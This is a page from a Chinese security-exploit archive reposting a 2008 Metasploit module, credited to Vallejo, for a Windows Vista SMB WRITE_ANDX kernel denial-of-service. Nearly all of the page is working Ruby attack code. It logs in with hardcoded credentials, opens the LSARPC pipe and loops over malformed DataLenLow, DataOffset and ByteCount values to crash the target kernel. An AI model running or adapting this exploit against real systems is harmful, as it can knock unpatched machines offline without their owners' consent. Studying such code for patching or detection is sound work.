首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MS Windows WRITE_ANDX SMB command handling Kernel DoS (meta)
来源:www.vfcocus.net 作者:Vallejo 发布时间:2008-09-16  
require 'msf/core'

module Msf
module Exploits
module Test


class BugTest < Msf::Exploit::Remote


include Exploit::Remote::SMB


def initialize(info = {})
super(update_info(info,
'Name'           => 'test exploit',
'Description'    =>
"tests",
'Author'         => 'tests',
'License'        => MSF_LICENSE,
'Version'        => '$Revision: 0 $',
'Arch'           => 'x86',
'Payload'        =>
{
'Space' => 1000
},
'Targets'        =>
[
[
'Windows VISTA',
{
'Platform' => 'win'
}
],
],
'DefaultTarget' => 0))
end


def subexploit(dlenlow, doffset,fillersize)

print_line("1")

            datastore['SMBUser']='testuser'
            datastore['SMBPass']='testuser'
            datastore['SMBDomain']='COBAYA'
datastore['SMBName']='COBAYA'

print_line("2")

connect()

print_line("3")

smb_login()

print_line("4")

               pkt = CONST::SMB_CREATE_PKT.make_struct

pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0xc807

pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i
pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i
pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i
pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i

pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX

pkt['Payload']['SMB'].v['WordCount'] = 24

pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['AndXOffset'] = 0xdede
pkt['Payload'].v['FileNameLen'] = 14
pkt['Payload'].v['CreateFlags'] = 0x16
pkt['Payload'].v['AccessMask'] = 0x2019f  # Maximum Allowed
pkt['Payload'].v['ShareAccess'] = 7
pkt['Payload'].v['CreateOptions'] = 0x400040
pkt['Payload'].v['Impersonation'] = 2      
pkt['Payload'].v['Disposition'] = 1
pkt['Payload'].v['Payload'] = "\x00\\\x00L\x00S\x00A\x00R\x00P\x00C" + "\x00\x00"


simple.client.smb_send(pkt.to_s)

print_line("5")

ack = simple.client.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX)

pkt = CONST::SMB_WRITE_PKT.make_struct

data_offset = pkt.to_s.length - 4

print_line("6")

filler = Rex::Text.rand_text(fillersize)

print_line("7")

pkt['Payload']['SMB'].v['Signature1']=0xcccccccc
pkt['Payload']['SMB'].v['Signature2']=0xcccccccc
pkt['Payload']['SMB'].v['MultiplexID'] = simple.client.multiplex_id.to_i
pkt['Payload']['SMB'].v['TreeID'] = simple.client.last_tree_id.to_i
pkt['Payload']['SMB'].v['UserID'] = simple.client.auth_user_id.to_i
pkt['Payload']['SMB'].v['ProcessID'] = simple.client.process_id.to_i
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0xc807
pkt['Payload']['SMB'].v['WordCount'] = 14
pkt['Payload'].v['AndX'] = 255
pkt['Payload'].v['AndXOffset'] = 0xdede
pkt['Payload'].v['FileID'] = ack['Payload'].v['FileID']
pkt['Payload'].v['Offset'] = 0
pkt['Payload'].v['Reserved2'] = -1
pkt['Payload'].v['WriteMode'] = 8
pkt['Payload'].v['Remaining'] = fillersize
pkt['Payload'].v['DataLenHigh'] = 0
pkt['Payload'].v['DataLenLow'] = dlenlow #<==================
pkt['Payload'].v['DataOffset'] = doffset #<====
pkt['Payload'].v['DataOffsetHigh'] = 0xcccccccc #<====
pkt['Payload'].v['ByteCount'] = fillersize#<====
pkt['Payload'].v['Payload'] = filler

print_line("8")

simple.client.smb_send(pkt.to_s)

print_line("9")

end

def exploit

k=72
j=0xffff
while j>10000
i=0xffff
while i>10000
begin
print_line("datalenlow=#{i} dataoffset=#{j} fillersize=#{k}")
subexploit(i,j,k)
rescue
print_line("rescue")
end
i=i-10000
end
j=j-10000
end

end

end

end
end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·CzarNews <= 1.20 (Cookie) Remo
·The Personal FTP Server 6.0f R
·Windows Media Encoder wmex.dll
·Sports Clubs Web Panel 0.0.1 R
·pLink 2.07 (linkto.php id) Rem
·QuickTime 7.5.5 / ITunes 8.0 R
·Postfix < 2.4.9, 2.5.5, 2.6-20
·Yourownbux 4.0 (COOKIE) Authen
·WonderWare SuiteLink 2.0 Remot
·Maxthon Browser 2.1.4.443 UNIC
·Cisco Router HTTP Administrati
·minb 0.1.0 Remote Code Executi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved